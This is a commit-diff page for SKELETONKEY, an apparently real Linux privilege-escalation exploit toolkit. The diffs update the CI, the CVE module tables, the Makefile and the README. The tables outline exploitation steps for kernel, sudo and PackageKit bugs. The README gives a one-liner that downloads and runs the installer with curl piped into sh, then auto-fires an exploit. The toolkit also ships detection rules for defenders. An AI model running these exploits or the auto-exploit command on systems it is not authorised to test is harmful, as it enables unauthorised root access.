Compare commits
16 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f | |||
| 60579f1602 | |||
| dd5f4fa06d | |||
| 3d9db6b93e | |||
| bd63aabd64 | |||
| 1663df69d1 | |||
| 6c148e276a | |||
| 35c33df16f | |||
| 25c2afc3e9 | |||
| 13fbbce618 | |||
| bb5ca48fe1 | |||
| 4454d8148e | |||
| fa0228df9b | |||
| d52fcd5512 |
@@ -10,6 +10,10 @@ on:
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
workflow_dispatch:
|
||||
# Lets us trigger the drift-check job on demand (e.g. after a
|
||||
# metadata refresh) without waiting for the weekly cron. The
|
||||
# drift-check job's `if:` gate honors this trigger.
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -21,7 +25,7 @@ jobs:
|
||||
flavor: [default, debug]
|
||||
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -80,7 +84,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
@@ -111,7 +115,7 @@ jobs:
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
@@ -137,7 +141,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
@@ -164,7 +168,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: static-build
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
name: build (${{ matrix.target }})
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -52,7 +52,7 @@ jobs:
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
@@ -71,7 +71,7 @@ jobs:
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
@@ -87,7 +87,7 @@ jobs:
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
@@ -111,7 +111,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
@@ -130,7 +130,7 @@ jobs:
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
@@ -141,9 +141,9 @@ jobs:
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
path: dist
|
||||
|
||||
@@ -181,7 +181,7 @@ jobs:
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
uses: softprops/action-gh-release@v3
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
|
||||
@@ -23,16 +23,17 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||
as a module.)
|
||||
**Counts:** 42 modules total covering 37 CVEs; **28 of 37 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||
> 28-module verified corpus.
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||
> `ptrace_pidfd` / `sudo_host` / `cifswitch` are blocked by their target environment (VMware-only,
|
||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||
> libs) or are brand-new this cycle, not by missing code. See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
@@ -74,7 +75,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
|
||||
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
|
||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
@@ -92,6 +93,9 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
|
||||
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; exploit full-chain not yet VM-verified.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
@@ -130,6 +134,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
|
||||
@@ -222,6 +222,21 @@ PIP_DIR := modules/nft_pipapo_cve_2024_26581
|
||||
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
|
||||
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
|
||||
|
||||
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
|
||||
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||
|
||||
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||
|
||||
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
|
||||
CIW_DIR := modules/cifswitch_cve_2026_46243
|
||||
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
|
||||
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
@@ -234,7 +249,8 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS)
|
||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS)
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||
|
||||
|
||||
@@ -2,16 +2,17 @@
|
||||
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026.
|
||||
> **One curated binary. 42 Linux LPE modules covering 37 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||
> the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
@@ -44,11 +45,12 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 34 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are
|
||||
**42 modules covering 37 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **28 of the 37 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout), not by missing code.
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
VM sweep, not by missing code.
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
@@ -66,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
### Empirical verification (28 of 34 CVEs)
|
||||
### Empirical verification (28 of 37 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM. Coverage:
|
||||
@@ -79,15 +81,17 @@ each verdict against a known-target VM. Coverage:
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
|
||||
**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
**Not yet verified (8):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet). All six are flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
|
||||
rationale.
|
||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
|
||||
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
|
||||
pending). All eight are flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
@@ -133,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 31 modules for vulnerabilities...
|
||||
[*] auto: scanning 42 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
@@ -202,18 +206,26 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.9.0 cut 2026-05-24.** 39 modules across 34 CVEs — **every
|
||||
year 2016 → 2026 now covered**. v0.9.0 adds 5 gap-fillers:
|
||||
`mutagen_astronomy` (CVE-2018-14634 — closes 2018), `sudo_runas_neg1`
|
||||
(CVE-2019-14287), `tioscpgrp` (CVE-2020-29661), `vsock_uaf`
|
||||
(CVE-2024-50264 — Pwnie 2025 winner), `nft_pipapo` (CVE-2024-26581 —
|
||||
Notselwyn II). v0.8.0 added 3 (`sudo_chwoot`/CVE-2025-32463,
|
||||
`udisks_libblockdev`/CVE-2025-6019, `pintheft`/CVE-2026-43494).
|
||||
**v0.9.10 cut 2026-06-08.** 42 modules across 37 CVEs — **every
|
||||
year 2016 → 2026 now covered**. Newest: `cifswitch` (CVE-2026-46243,
|
||||
Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts
|
||||
userspace-forged authority fields, coercing the root `cifs.upcall` helper
|
||||
into loading an attacker NSS module as root), `ptrace_pidfd`
|
||||
(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd`
|
||||
credential-steal), and `sudo_host` (CVE-2025-32462, Stratascale's sudo
|
||||
`--host` policy bypass).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10
|
||||
from kernel.ubuntu.com). 88-test unit harness + ASan/UBSan +
|
||||
clang-tidy on every push. 4 prebuilt binaries (x86_64 + arm64, each
|
||||
in dynamic + static-musl flavors).
|
||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
||||
static-musl flavors).
|
||||
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
@@ -231,15 +243,19 @@ Reliability + accuracy work in v0.7.x:
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 10 of 26 modules cover KEV-listed CVEs.
|
||||
- **119 detection rules** across auditd / sigma / yara / falco; one
|
||||
CISA KEV catalog + NVD CWE; 13 of 37 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Not yet verified (4 of 26 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `dirtydecrypt` + `fragnesia` (need
|
||||
Linux 7.0 — not shipping yet). Rationale in
|
||||
Not yet verified (9 of 37 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
||||
+ `cifswitch` (brand-new this cycle, sweep pending). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
|
||||
+91
-3
@@ -28,6 +28,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
@@ -36,6 +44,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
||||
.in_kev = true,
|
||||
